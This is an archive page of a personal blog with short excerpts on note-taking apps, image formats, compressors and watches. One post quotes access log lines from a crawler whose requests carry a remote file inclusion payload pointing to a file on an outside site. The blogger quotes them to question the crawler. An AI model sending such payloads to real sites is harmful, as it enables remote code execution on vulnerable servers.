Autarchy of the Private Cave

Tiny bits of bioinformatics, [web-]programming etc

    Archive for the 'Misc' Category

    The sugar conspiracy

    19th June 2016

    A long but interesting read: The Sugar Conspiracy.

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    Posted in Links, Misc, Science, Society | No Comments »

    TSW-friendly task and note management software

    5th June 2016

    A while ago I was looking for GTD/TSW-compatible android app.
    I ended up using Trello, Keep, and Calendar.

    But I always keep looking for new/improved tools, as right now I feel the best one does not exist…
    (If the best one can exist at all – requirements and conditions change all the time, so there is no fixed perfect immovable target.)

    I have been contemplating trying out the TSW methodology, but neither Keep nor Trello are quite there yet.
    I ended up using Evernote; after recent management changes and actually trying to become profitable it may as well last long enough.

    Everything was fine and calm until I have found workflowy yesterday.
    In essence, it is very similar to the text-file-based system that I have been using for at least half a year.

    Briefly, it is a web-based text editor on steroids, with possibly infinite nesting lists and seemingly full keyboard shortcuts control – no mouse needed.
    I recommend that you try the demo – it seems to be fully functional, and there is no need to sign up.

    This discovery made me read through pages and pages of this class of software tools.
    Here is a very brief summary of my findings: Read the rest of this entry »

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    Posted in Links, Misc, Notepad, Software | No Comments »

    Yandex probing for vulnerabilities in .UA domains?

    11th April 2016

    Here is a recent entry from my web-server’s access log:

    bogdan.org.ua:80 130.193.51.57 – - [09/Apr/2016:15:53:22 +0300] “GET /categories/programming?_SERVER[DOCUMENT_ROOT]=http://www.daedongfur.co.kr/shop/log/.logs/id1.txt HTTP/1.1″ 200 13158 “-” “Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)”

    Client’s IP 130.193.51.57 does belong to Yandex network range.

    So…

    • Had Yandex started looking for vulnerabilities in the web-sites it scans?
    • Does it only look for vulnerabilities in the .UA web-sites/domains?
    • Does Yandex really use a Korean web-site to host malicious code?

    In fact, there are more entries like that one, also from one of Yandex IPs:

    bogdan.org.ua:80 130.193.51.25 – - [04/Apr/2016:00:14:22 +0300] “GET /categories/programming/page/5?_SERVER%5BDOCUMENT_ROOT%5D=http%3A%2F%2Fwww.daedongfur.co.kr%2Fshop%2Flog%2F.logs%2Fid1.txt HTTP/1.1″ 200 12607 “-” “Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)”
    bogdan.org.ua:80 130.193.51.25 – - [04/Apr/2016:00:19:31 +0300] “GET /categories/programming/page/4?_SERVER%5BDOCUMENT_ROOT%5D=http%3A%2F%2Fwww.daedongfur.co.kr%2Fshop%2Flog%2F.logs%2Fid1.txt HTTP/1.1″ 200 12174 “-” “Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)”

    I can see 3 explanations, and all of them are bad for Yandex:

    • Yandex now belongs to KGB, and it does scan [.UA] web-sites for vulnerabilities;
    • some/many of Yandex crawler servers are compromised, and are used by malicious 3rd parties;
    • there was a public malicious link somewhere (???) to my blog, and Yandex blindly followed it.
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    Posted in Misc, Web | No Comments »

    PGF vs PNG vs JPEG 2000 for long-term photo storage/archive

    26th May 2015

    I am using an excellent photo-management suite digiKam, which offers 3 lossless compressed formats for photos versioning and storage: PNG, JPEG 2000, and PGF. I wanted to know which one should I use, which urged me to perform this comparison.

    This post is not intended to be an in-depth comparison, but should be sufficient to choose one of the three file formats for your purposes. For more format details and history simply follow the links provided. File formats are reviewed roughly in “historical” order.

    PNG (Portable Network Graphics) was designed as GIF replacement.

    • It is lossless.
    • It is suitable for photos.
    • PNG is more space-efficient in the case of images with many pixels of the same color, such as diagrams/plots (as compared to PGF and JPEG2000). However, PNG photos are almost always larger than lossless PGF/JPEG2000 photos (real photo example: 9.9 MB in PNG, 7.0 MB in JPEG 2000).
    • PNG is fairly fast at (en|de)coding.
    • PNG is widely supported by web-browsers, image editors, and other software.
    • PNG uses CRCs internally for each data block, so if damage occurs only the damaged block(s) should be lost – theoretically. However, in practice, according to the Just One Bit paper (local copy), PNG is actually much less damage-resilient than JPEG 2000.

    Read the rest of this entry »

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    Posted in Comparison, Links, Misc, Software | No Comments »

    Casio G-Shock: amazing survivalist watches

    14th May 2015

    Casio G-Shock

    Casio G-Shock

    In May 2010 I’ve paid US $118 for Casio G-Shock GW-810D (Atomic/Waveceptor Tough Solar) wrist watch with stainless steel band.
    5 years later, at the end of April 2015, I lost it :( .

    Looking for a replacement, I found that:

    • Casio seems to no longer make affordable models with the same functionality and a metal band – only polymer;
    • a similar used model from Casio (MTG-something) costs upwards of 70 EUR.

    I was quite sad about that. Any survivalist-minded person can easily see why:
    Read the rest of this entry »

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    Posted in Hardware, Misc | No Comments »

    Compressors galore: pbzip2, lbzip2, plzip, xz, and lrzip tested on a FASTQ file

    28th March 2015

    About 2 years ago I had already reviewed some parallel (and not) compressing utilities, settling at that time on pbzip2 – it scales quasi-linearly with the number of CPUs/cores, stores compressed data in relatively small 900k blocks, is fast, and has good compression ratio. pbzip2 was (and still is) a very good choice.

    Yesterday I got somewhat distracted, and thus found lbzip2 -

    an independent, multi-threaded implementation of bzip2. It is commonly the fastest SMP (and uniprocessor) bzip2 compressor and decompressor

    - as it says in the Debian package description. Is it really “commonly the fastest” one? How does it compare to pbzip2? Should I use lbzip2 instead of pbzip2?

    This minor distraction had grown into a full-scale web-search and comparison, adding to the mix plzip (a parallel version of lzip), xz, and lrzip. After reading thousands of characters, all of these were put to a simple test: compressing an about 2 gigabyte FASTQ file with default options.

    All the external links and benchmarks, as well as my own mini-benchmark results, are provided below.

    The conclusion is that out of all the tested compressors lbzip2 is indeed the best one (for my practical use). It is only slightly better than the trusty pbzip2, which takes the second place. All the other compressors performed so poorly, that they do not get any place in my practical rating…

    So, let us first ask internet wisdom/foolishness, if lbzip2 or pbzip2 is faster/better?
    Read the rest of this entry »

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    Posted in *nix, Comparison, Links, Misc, Software | 6 Comments »

    Looking for a perfect Android app for TSW/GTD use

    13th March 2015

    I have recently realized that my planning habits are quite similar to what The Secret Weapon promotes. However, my planning is not as elaborate and detailed/structured as TSW, and I am using several tools:

    • Google Keep, an awesome note-taking and to-do lists application with a really good web-interface, and free;
    • Trello, convenient lists/projects/tasks management platform (especially for group work), and free;
    • Google Calendar, the de facto calendar standard for Android phones, and free;
    • my A5 format weekly paper planner, and… the only not free component.

    It is easy to see that I am using too many tools.

    In an effort to use less tools, and also to try some of the features of TSW, I’ve performed a brief search for GTD/TSW-compatible Android apps.

    TSW website is built around the Evernote app. However, I am not sure if this would be a good solution for me, as I have been already using Evernote since several years for longer-term note-keeping, and thus already have a bunch of notepads, notes, and tags there. Moreover, Evernote’s website mentions something about “offline notes” in the Premium (non-free) tier for mobile apps; this hints at the requirement to have internet connectivity to be able to work with TSW+Evernote efficiently through the day.

    Oh, before I forget: all the 4 tools that I am using have their purpose, with overlap between Keep and Trello.
    My A5 format paper planner (weekview compact 2015) is not a simple weekly planner; it has a structure that stimulates goal-oriented planning.
    More specifically, it provides means to plan:
    Read the rest of this entry »

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    Posted in Comparison, Links, Misc, Notepad, Software | No Comments »